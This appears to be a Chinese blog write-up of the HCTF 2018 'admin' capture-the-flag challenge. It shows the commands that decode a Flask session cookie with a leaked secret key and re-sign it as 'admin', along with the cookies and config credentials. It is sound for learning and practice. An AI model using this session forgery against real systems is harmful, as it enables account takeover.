[HCTF 2018]admin

通过flask session伪造技巧解决HCTF2018 admin挑战,揭示了如何利用源代码提示和解密工具获取管理员权限并找到flag。

[HCTF 2018]admin)

  • 解题办法: flask session 伪造

  • 主界面

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-C3Vq2ROM-1615894626413)(C:\Users\wuuconix\Desktop\blog[HCTF 2018]admin\pic\1.png)]

  • 右边有两个选项,分别是登录和注册,我们先注册一下吧。

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AybTg5uR-1615894626416)(C:\Users\wuuconix\Desktop\blog[HCTF 2018]admin\pic\2.png)]

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-JkG8CsCt-1615894626417)(C:\Users\wuuconix\Desktop\blog[HCTF 2018]admin\pic\3.png)]

  • sql注入失败了,看来这道题不是考察sql注入

  • 老老实实注册一个名叫test 的用户吧。

  • 登录之后,多了一些选项,分别是index post change password logout 功能。

  • 打开index 页面源码我们发现,它提示我们不是admin

    <!-- you are not admin -->
    
  • 我们再change password 的源代码里发现了重要提示

    <!-- https://github.com/woadsl1234/hctf_flask/ -->
    
  • 看来作者提供了题目的源代码。经过git clone 之后我们得以了解解题思路。以下是index.html文件的内容

    {% include('header.html') %}
    {% if current_user.is_authenticated %}
    <h1 class="nav">Hello {{ session['name'] }}</h1>
    {% endif %}
    {% if current_user.is_authenticated and session['name'] == 'admin' %}
    <h1 class="nav">hctf{xxxxxxxxx}</h1>
    {% endif %}
    <!-- you are not admin -->
    <h1 class="nav">Welcome to hctf</h1>
    {% include('footer.html') %}
    
  • 我们看到只要session['name'] == 'admin' 就会得到flag,所以我们就得去伪造session

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sDRTy4Lc-1615894626419)(C:\Users\wuuconix\Desktop\blog[HCTF 2018]admin\pic\6.png)]

  • 我们看到session是存在Cookie 中的。接下来我们需要把这一串session 翻译 一下。

  • github 上有很多解密脚本,我选择了一个noral/flask-session-cookie-manager 。git clone到本地后,根据它所给的方式setup, 之后利用这样一条语句来解密session

    (venv) wuuconix@wuuconix:~/flask-session-cookie-manager$ python3 flask_session_cookie_manager3.py decode -c '.eJw9kMGOgkAQRH9lM2cPMOjFxIMGIZh0TzQDk56LcRHFhnETwKAY_31ZN_H8Uq-76in2p6ZoSzHvmlsxEfvLUcyf4utbzAUZvKAmz_JaooQpuagCGTEy9KghUDoJLO8cOriT3jnQtsYwnYGkkS97ZZIHDRtWcVaSTKcjr8jBQEPysFyN-TwAvWIa1jPgXYUuqpVeP6yJShunPvB2psJloOL0Trz0QSLbcOujSXrryFOGfDKRszEsxGsi8rY57bufqrh-KkBsa2X-1Ns7hPl4Oh_QZPVYyyfOSssbh5x7qFfO8vi2zCo8L966izuci4_pKNuA-n9yPbgRiK5oOzERt7Zo3rMJ3xOvX1knbKg.YFCLGQ.PBAwPWV-dmbYFUGa27smtqf-sC8' -s 'ckj123'
    
  • 解释一下 -c 后面接网站上获得的session -s 后面接密钥。密钥是在config.py 这个文件里发现的

    import os
    class Config(object):
        SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123'
        SQLALCHEMY_DATABASE_URI = 'mysql+pymysql://root:adsl1234@db:3306/test'
        SQLALCHEMY_TRACK_MODIFICATIONS = True
    
  • 运行之后我们就知道了session的原貌

    {'_fresh': True, '_id': b'acb564f167c8bad3ac630537927f4f6c1a4f16e4593f05009b2c2c8eace816dbc3c22f9797710cc1924d6ae912eaade52498078e1b053ccd455b0ff49f5aafdc', 'csrf_token': b'0fe9dd6d1073c735ee565b5af2f67450ff607ed6', 'image': b'wk7c', 'name': 'test', 'user_id': '10'}
    
  • 我们只需要将session中的name 属性改成admin 再利用以下语句encode 一下就实现session伪造啦!

    (venv) wuuconix@wuuconix:~/flask-session-cookie-manager$ python3 flask_session_cookie_manager3.py encode -s 'ckj123' -t '{"_fresh": True, "_id": b"acb564f167c8bad3ac630537927f4f6c1a4f16e4593f05009b2c2c8eace816dbc3c22f9797710cc1924d6ae912eaade52498078e1b053ccd455b0ff49f5aafdc", "csrf_token": b"0fe9dd6d1073c735ee565b5af2f67450ff607ed6", "image": b"wk7c", "name": "admin", "user_id": "10"}'
    
  • 还是解释一下 -s 后面还是跟密钥, -t 后面跟源json格式的数据。运行过后我们就得到了最终的session了!

    .eJw9kMGOgkAQRH9lM2cPMOjFxIMGIZh0TzQDk56LcRGFhnET0KAY_31ZN_H8Uq-76in2p7boSjG_trdiIvbVUcyf4utbzAUZrFCTZ3ktUcKUXFSDjBgZetQQKJ0ElncOHdxJ7xxo22CYzkDSyJe9MsmDhg2rOCtJptOR1-RgoCF5WK7HfB6AXjEN6xnwrkYXNUqvH9ZEpY1TH3g7U-EyUHF6J176IJFtuPXRJL115ClDPpnI2RgW4jURedee9tefurh8KkBsG2X-1Ns7hPl4Oh_QZM1YyyfOSssbh5x7qFfO8vi2zGo8L966yh3Oxcd0lF1A_T-5HNwIxOHoqouYiFtXtO_dhO-J1y_Fsmzx.YFCOkQ.E5pxmtCp2iYu4MOJ1s0CP2OH-YU
    
  • 在浏览器Cooke 中的 session 修改后,刷新页面,flag出现了!

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-T0fOpHUF-1615894626420)(C:\Users\wuuconix\Desktop\blog[HCTF 2018]admin\pic\7.png)]

  • 这可太帅了!

  • 这道题还有unicode欺骗 的方法,但是这里就不深入了。


  • 参考链接

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值